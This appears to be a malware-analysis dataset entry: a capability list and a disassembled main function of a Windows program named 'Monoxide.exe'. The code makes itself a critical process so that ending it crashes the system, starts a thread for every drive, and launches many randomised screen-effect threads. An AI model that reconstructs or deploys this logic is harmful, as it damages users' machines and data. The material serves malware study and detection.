Function at 0x140002d90
Capabilities:
Check mutex on windows
Create thread
Get disk information
Terminate thread

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [r11 - 0x3c8]
sub rsp, 0x4b0
mov rax, qword [0x14002b008]
xor rax, rsp
mov qword [rbp + 0x360], rax
movaps xmmword [r11 - 0x28], xmm6
lea rcx, str.user32.dll
movaps xmmword [r11 - 0x38], xmm7
movaps xmmword [r11 - 0x48], xmm8
movaps xmmword [r11 - 0x58], xmm9
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.SetProcessDPIAware
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140002dfe
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor r14d, r14d
xor ecx, ecx
mov qword [0x140030bb0], r14
call qword [sym.imp.USER32.dll_GetDC]
mov qword [0x140030bc0], rax
rdtsc
movdqa xmm6, xmmword [0x1400240a0]
lea rsi, [0x14002cb90]
movaps xmm7, xmmword [0x1400240f0]
mov ebx, r14d
movaps xmm8, xmmword [0x140024110]
mov rdi, rsi
movaps xmm9, xmmword [0x140024100]
shl rdx, 0x20
or rax, rdx
mov dword [0x140030ba8], eax
nop dword [rax + rax]
movd xmm0, ebx
pshufd xmm0, xmm0, 0
paddd xmm0, xmm6
cvtdq2ps xmm0, xmm0
mulps xmm0, xmm7
mulps xmm0, xmm8
mulps xmm0, xmm9
call fcn.140016240
add ebx, 4
movups xmmword [rdi], xmm0
lea rdi, [rdi + 0x10]
cmp ebx, 0x1000
jb 0x140002e60
movaps xmm9, xmmword [rsp + 0x470]
movaps xmm8, xmmword [rsp + 0x480]
movaps xmm7, xmmword [rsp + 0x490]
jmp 0x140002ed6
xor r9d, r9d
lea r8, section..text
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayMonitors]
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x14000aa00]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1400013c0
movaps xmm6, xmmword [rsp + 0x4a0]
test eax, eax
je 0x140003ac3
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlSetProcessIsCritical
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rdi, rdi
je 0x140003a70
xor r8d, r8d
lea r9, [rsp + 0x50]
mov dl, 1
lea ecx, [r8 + 0x14]
call rdi
test eax, eax
je 0x140002f85
lea rdx, str.I_cant_adjust_my_debug_privileges..._somehow.
jmp 0x140003a77
test rbx, rbx
je 0x140003a67
xor r8d, r8d
xor edx, edx
mov cl, 1
call rbx
test eax, eax
je 0x140002fa7
lea rdx, str.Uhm..._Its_not_letting_me_be_a_critical_process..._This_isnt_right_
jmp 0x140003a77
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x140002660]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x400
call fcn.14000ba40
lea rdx, [rsp + 0x60]
mov ecx, 0x200
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
lea r9, [rsp + 0x60]
mov qword [rsp + 0x28], r14
lea r8, [fcn.140001bc0]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
mov esi, eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, r14d
test esi, esi
je 0x140003080
lea rdi, [rsp + 0x60]
nop dword [rax]
cmp word [rdi], r14w
jne 0x140003076
lea eax, [rbx + 1]
mov qword [rsp + 0x28], r14
lea r9, [rsp + 0x60]
mov dword [rsp + 0x20], r14d
lea r9, [r9 + rax*4]
xor edx, edx
lea r8, [fcn.140001bc0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
add rdi, 2
cmp ebx, esi
jb 0x140003040
mov qword [rsp + 0x28], r14
lea r8, [0x140001dd0]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x140002a10]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x140002a30]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x140002b30]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x140002be0]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r8, str.Monoxide.exe
mov edx, 1
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140003abe
mov dword [rsp + 0x30], 0xbb80
lea rax, [0x140003f80]
mov qword [rsp + 0x38], rax
xorps xmm1, xmm1
mov dword [rsp + 0x34], 0x15f900
lea rax, [0x140004180]
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [0x140004230]
mov dword [rsp + 0x30], 0x1f40
mov dword [rsp + 0x34], 0x3a980
movups xmmword [0x140030e60], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [0x1400046a0]
mov dword [rsp + 0x30], 0x1f40
mov dword [rsp + 0x34], 0x3a980
movups xmmword [0x140030e80], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [0x140004a00]
mov dword [rsp + 0x30], 0x3e80
mov dword [rsp + 0x34], 0x75300
movups xmmword [0x140030ea0], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [0x140004a40]
mov dword [rsp + 0x30], 0x1f40
mov dword [rsp + 0x34], 0x3a980
movups xmmword [0x140030ec0], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [0x140004aa0]
mov dword [rsp + 0x30], 0x1f40
mov dword [rsp + 0x34], 0x3a980
movups xmmword [0x140030ee0], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [0x140004af0]
mov dword [rsp + 0x30], 0x2ee0
mov dword [rsp + 0x34], 0x57e40
movups xmmword [0x140030f00], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [0x140004e50]
mov dword [rsp + 0x30], 0xbb80
mov dword [rsp + 0x34], 0x15f900
movups xmmword [0x140030f20], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [0x140005310]
mov dword [rsp + 0x30], 0xbb80
mov dword [rsp + 0x34], 0x15f900
movups xmmword [0x140030f40], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [0x140005410]
mov dword [rsp + 0x30], 0x1f40
mov dword [rsp + 0x34], 0x3a980
movups xmmword [0x140030f60], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov dword [rsp + 0x30], 0x1f40
mov dword [rsp + 0x34], 0x3a980
mov qword [rsp + 0x38], rax
lea rax, [0x140005480]
movups xmmword [0x140030f80], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov dword [rsp + 0x30], 0x1f40
movups xmmword [0x140030e70], xmm1
mov dword [rsp + 0x34], 0x3a980
movups xmmword [0x140030fa0], xmm0
movups xmmword [0x140030e90], xmm1
movups xmmword [0x140030eb0], xmm1
movups xmmword [0x140030ed0], xmm1
movups xmmword [0x140030ef0], xmm1
movups xmmword [0x140030f10], xmm1
movups xmmword [0x140030f30], xmm1
movups xmmword [0x140030f50], xmm1
movups xmmword [0x140030f70], xmm1
movups xmmword [0x140030f90], xmm1
movups xmmword [0x140030fb0], xmm1
mov qword [rsp + 0x38], rax
lea rcx, [0x140007080]
movups xmm0, xmmword [rsp + 0x30]
mov dword [rsp + 0x30], 0x3e80
lea rax, [0x140005640]
mov qword [rsp + 0x38], rax
lea rax, [0x140005820]
mov dword [rsp + 0x34], 0x75300
movups xmmword [0x140030fc0], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [0x140005ca0]
mov dword [rsp + 0x30], 0xbb80
mov dword [rsp + 0x34], 0x15f900
movups xmmword [0x140030fe0], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [0x1400061e0]
mov dword [rsp + 0x30], 0xbb80
mov dword [rsp + 0x34], 0x15f900
movups xmmword [0x140031000], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [0x140006380]
mov dword [rsp + 0x30], 0xbb80
mov dword [rsp + 0x34], 0x15f900
movups xmmword [0x140031020], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [0x140006900]
mov dword [rsp + 0x30], 0xbb80
mov dword [rsp + 0x34], 0x15f900
movups xmmword [0x140031040], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x30], rax
lea rax, [0x140006a70]
mov qword [rsp + 0x40], rax
lea rax, [0x140006af0]
mov qword [rsp + 0x38], r14
movups xmmword [0x140031160], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x30], rax
lea rax, [0x140007100]
mov qword [rsp + 0x38], r14
movups xmmword [0x140030c00], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x30], rax
lea rax, [0x140007460]
movups xmmword [0x140030fd0], xmm1
mov qword [rsp + 0x38], r14
movups xmmword [0x140030ff0], xmm1
movups xmmword [0x140031010], xmm1
movups xmmword [0x140031030], xmm1
movups xmmword [0x140031050], xmm1
movups xmmword [0x140031170], xmm1
movsd xmm1, qword [rsp + 0x40]
movups xmmword [0x140030c18], xmm0
mov qword [rsp + 0x40], rcx
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x38], r14
movsd qword [0x140030c10], xmm1
movsd xmm1, qword [rsp + 0x40]
mov qword [rsp + 0x40], rax
lea rax, [0x1400075d0]
mov qword [rsp + 0x30], rax
lea rax, [0x140007b10]
movups xmmword [0x140030c30], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x30], rax
lea rax, [0x140007bc0]
movsd qword [0x140030c28], xmm1
movsd xmm1, qword [rsp + 0x40]
mov qword [rsp + 0x40], rcx
movups xmmword [0x140030c48], xmm0
mov qword [rsp + 0x38], r14
movups xmm0, xmmword [rsp + 0x30]
movsd qword [0x140030c40], xmm1
movsd xmm1, qword [rsp + 0x40]
movups xmmword [0x140030c60], xmm0
mov qword [rsp + 0x40], rax
movsd qword [0x140030c58], xmm1
movsd xmm1, qword [rsp + 0x40]
lea rax, [0x140007c40]
mov qword [rsp + 0x30], rax
lea rax, [0x140007ea0]
movsd qword [0x140030c70], xmm1
mov qword [rsp + 0x38], r14
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x30], rax
lea rax, [0x140008050]
mov qword [rsp + 0x38], r14
movups xmmword [0x140030c78], xmm0
mov qword [rsp + 0x40], rcx
movups xmm0, xmmword [rsp + 0x30]
movsd xmm1, qword [rsp + 0x40]
movsd qword [0x140030c88], xmm1
mov qword [rsp + 0x40], rax
lea rax, [0x140008260]
movsd xmm1, qword [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rax, [0x1400080d0]
mov qword [rsp + 0x38], rax
lea rax, [0x140008700]
movsd qword [0x140030ca0], xmm1
mov qword [rsp + 0x40], rax
lea rax, [0x140008780]
movsd xmm1, qword [rsp + 0x40]
movsd qword [0x140030cb8], xmm1
xorps xmm1, xmm1
movups xmmword [0x140030c90], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x30], rax
lea rax, [0x140008b10]
movdqu xmmword [rsp + 0x38], xmm1
unpckhpd xmm1, xmm1
movsd qword [0x140030cd0], xmm1
xorps xmm1, xmm1
movups xmmword [0x140030ca8], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x30], rax
lea rax, [0x140008dd0]
movdqu xmmword [rsp + 0x38], xmm1
unpckhpd xmm1, xmm1
movsd qword [0x140030ce8], xmm1
xorps xmm1, xmm1
movups xmmword [0x140030cc0], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x30], rax
lea rax, [0x140009190]
movdqu xmmword [rsp + 0x38], xmm1
unpckhpd xmm1, xmm1
movsd qword [0x140030d00], xmm1
xorps xmm1, xmm1
movups xmmword [0x140030cd8], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x30], rax
lea rax, [0x1400092d0]
movdqu xmmword [rsp + 0x38], xmm1
unpckhpd xmm1, xmm1
movsd qword [0x140030d18], xmm1
xorps xmm1, xmm1
movups xmmword [0x140030cf0], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x30], rax
lea rax, [0x140009490]
movdqu xmmword [rsp + 0x38], xmm1
mov qword [rsp + 0x40], rcx
unpckhpd xmm1, xmm1
movups xmmword [0x140030d08], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x30], rax
lea rax, [0x140009710]
movsd qword [0x140030d30], xmm1
movsd xmm1, qword [rsp + 0x40]
mov qword [rsp + 0x38], r14
movups xmmword [0x140030d20], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x30], rax
movsd qword [0x140030d48], xmm1
xorps xmm1, xmm1
movups xmmword [0x140030d38], xmm0
movdqu xmmword [rsp + 0x38], xmm1
movups xmm0, xmmword [rsp + 0x30]
lea rax, [0x1400098e0]
mov qword [rsp + 0x28], r14
unpckhpd xmm1, xmm1
lea r8, [0x140003b00]
mov qword [rsp + 0x30], rax
xor r9d, r9d
movsd qword [0x140030d60], xmm1
lea rax, [0x140009aa0]
xorps xmm1, xmm1
mov dword [rsp + 0x20], r14d
movdqu xmmword [rsp + 0x38], xmm1
xor edx, edx
unpckhpd xmm1, xmm1
movsd qword [0x140030d78], xmm1
xorps xmm1, xmm1
movups xmmword [0x140030d50], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x30], rax
lea rax, [0x140009d80]
movdqu xmmword [rsp + 0x38], xmm1
unpckhpd xmm1, xmm1
movsd qword [0x140030d90], xmm1
xorps xmm1, xmm1
movups xmmword [0x140030d68], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x30], rax
lea rax, [0x14000a1c0]
movdqu xmmword [rsp + 0x38], xmm1
unpckhpd xmm1, xmm1
movsd qword [0x140030da8], xmm1
xorps xmm1, xmm1
movups xmmword [0x140030d80], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x30], rax
lea rax, [0x14000a300]
movdqu xmmword [rsp + 0x38], xmm1
mov qword [rsp + 0x40], rcx
unpckhpd xmm1, xmm1
movups xmmword [0x140030d98], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x30], rax
lea rax, [0x14000a6c0]
mov qword [rsp + 0x38], r14
movsd qword [0x140030dc0], xmm1
movsd xmm1, qword [rsp + 0x40]
movups xmmword [0x140030db0], xmm0
mov qword [rsp + 0x40], rcx
xor ecx, ecx
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x30], rax
lea rax, [0x14000a970]
movsd qword [0x140030dd8], xmm1
movsd xmm1, qword [rsp + 0x40]
movups xmmword [0x140030dc8], xmm0
mov qword [rsp + 0x38], r14
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x30], rax
movsd qword [0x140030df0], xmm1
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
movups xmmword [0x140030de0], xmm0
movups xmm0, xmmword [rsp + 0x30]
unpckhpd xmm1, xmm1
movups xmmword [0x140030e40], xmm0
movsd qword [0x140030e50], xmm1
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
lea r15, [0x140030c00]
nop dword [rax]
mov edx, dword [0x140030ba8]
lea r8, [0x1400065b0]
shl edx, 0xd
xor edx, dword [0x140030ba8]
mov eax, edx
mov qword [rsp + 0x28], r14
shr eax, 0x11
xor eax, edx
mov dword [rsp + 0x20], r14d
mov ecx, eax
shl ecx, 5
xor ecx, eax
mov eax, 0x86186187
mul ecx
mov eax, ecx
mov dword [0x140030ba8], ecx
sub eax, edx
shr eax, 1
add eax, edx
xor edx, edx
shr eax, 4
imul eax, eax, 0x15
sub ecx, eax
lea rcx, [rcx + rcx*2]
lea r9, [r15 + rcx*8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [0x140030ba8]
mov rbx, rax
shl edx, 0xd
mov eax, 0xaaaaaaab
xor edx, dword [0x140030ba8]
mov ecx, edx
shr ecx, 0x11
xor ecx, edx
mov r8d, ecx
shl r8d, 5
xor r8d, ecx
mul r8d
mov dword [0x140030ba8], r8d
shr edx, 1
lea ecx, [rdx + rdx*2]
cmp r8d, ecx
je 0x140003980
mov edx, 0x2710
jmp 0x1400039b9
mov eax, r8d
shl eax, 0xd
xor eax, r8d
mov ecx, eax
shr ecx, 0x11
xor ecx, eax
mov eax, 0xcccccccd
mov r8d, ecx
shl r8d, 5
xor r8d, ecx
mul r8d
mov dword [0x140030ba8], r8d
shr edx, 2
lea eax, [rdx + rdx*4]
sub r8d, eax
imul edx, r8d, 0x9c4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x14002cb80], 0x708
jl 0x1400038e0
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [0x140030e40]
mov qword [rsp + 0x28], r14
lea r8, [0x1400065b0]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [0x140031160]
mov qword [rsp + 0x28], r14
lea r8, [0x140003de0]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax]
call fcn.140001ee0
jmp 0x140003a60
lea rdx, str.Please_help_me_out__I_cant_find_RtlSetProcessIsCritical._Do_you_know_where_it_is_
jmp 0x140003a77
lea rdx, str.Nope__cant_find_RtlAdjustPrivilege..._What_the_hell_is_this_
mov r9d, 0x10
lea r8, str.Monoxide.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x140001dd0]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001ee0
xor eax, eax
mov rcx, qword [rbp + 0x360]
xor rcx, rsp
call fcn.14000aa90
lea r11, [rsp + 0x4b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret